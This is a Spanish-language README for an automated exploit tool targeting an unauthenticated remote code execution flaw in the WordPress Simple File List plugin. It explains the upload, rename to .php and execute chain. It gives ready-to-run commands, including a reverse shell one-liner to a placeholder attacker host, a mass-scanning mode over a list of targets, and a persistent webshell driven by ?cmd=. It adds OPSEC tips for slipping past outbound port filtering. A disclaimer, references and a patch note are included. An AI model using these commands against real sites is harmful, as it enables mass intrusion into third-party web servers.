CVE-2025-34085 — WordPress Simple File List RCE no autenticado

Un exploit automatizado para CVE-2025-34085 (duplicado de CVE-2020-36847), una vulnerabilidad crítica de ejecución remota de código sin autenticación en el plugin WordPress Simple File List versiones ≤ 4.2.2.

Nota: CVE-2025-34085 fue rechazado por MITRE como duplicado de CVE-2020-36847. La vulnerabilidad es real y está parcheada en la versión 4.2.3. Ambos ID de CVE se refieren al mismo problema subyacente.

Resumen de la vulnerabilidad

Cómo funciona

1. Subir — Se sube un payload PHP disfrazado como archivo .png a través del endpoint de subida del plugin (ee-upload-engine.php). El motor de subida valida las extensiones pero acepta archivos de imagen.

2. Renombrar — La funcionalidad de renombrado del plugin (ee-file-engine.php) no impone restricciones de extensión. El atacante renombra el .png a .php (o .phtml, .php5, .php3).

3. Ejecutar — El archivo PHP renombrado ahora es accesible y ejecutable en el directorio de subidas en /wp-content/uploads/simple-file-list/, otorgando al atacante ejecución arbitraria de comandos.

Requisitos

pip install requests colorama

Python 3.6+

Uso

Objetivo único

python3 CVE-2025-34085.py -u http://target.com --cmd "id"

Objetivo único con comando en línea (sin parámetro ?cmd=)

python3 CVE-2025-34085.py -u http://target.com --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" --inline

Escaneo masivo

Crea un archivo targets.txt con una URL por línea:

http://target1.com
http://target2.com
https://target3.com

python3 CVE-2025-34085.py --cmd "id"

Argumentos

Consejo: Usa --inline cuando necesites una reverse shell o cuando el objetivo tenga filtrado de parámetros de consulta. Sin --inline, el exploit deja una webshell que acepta comandos mediante ?cmd=.

Salida

Los exploit exitosos se registran en vuln.txt:

http://target.com | http://target.com/wp-content/uploads/simple-file-list/shell.php | uid=33(www-data) gid=33(www-data)

Notas OPSEC para OSCP

• El exploit sube un archivo PHP al disco — esto dejará artefactos
• La webshell persiste en /wp-content/uploads/simple-file-list/<random>.php
• Las subidas exitosas se registran en vuln.txt localmente — útil para tu informe
• Para el examen, usa --inline con una reverse shell para evitar dejar una webshell persistente con ?cmd=
• Si el objetivo bloquea puertos de salida, prueba con puertos comunes permitidos (80, 443, 53)

Referencias

• NVD — CVE-2025-34085
• NVD — CVE-2020-36847
• Wordfence Advisory
• Módulo Metasploit
• Registro de cambios del plugin (Parche)
• Exploit-DB #48979
• PoC original de coiffeur — Exploit-DB #48349

Remedio

Actualiza el plugin Simple File List a la versión 4.2.3 o posterior.

Descargo de responsabilidad

Esta herramienta está diseñada únicamente para pruebas de penetración autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Siempre obtén la autorización adecuada antes de realizar pruebas.

Créditos

• Descubrimiento original de la vulnerabilidad: coiffeur
• Script del exploit original: 0xgh057r3c0n, B1ack4sh (Ashwesker)
• Mantenido por: 0xgunrunner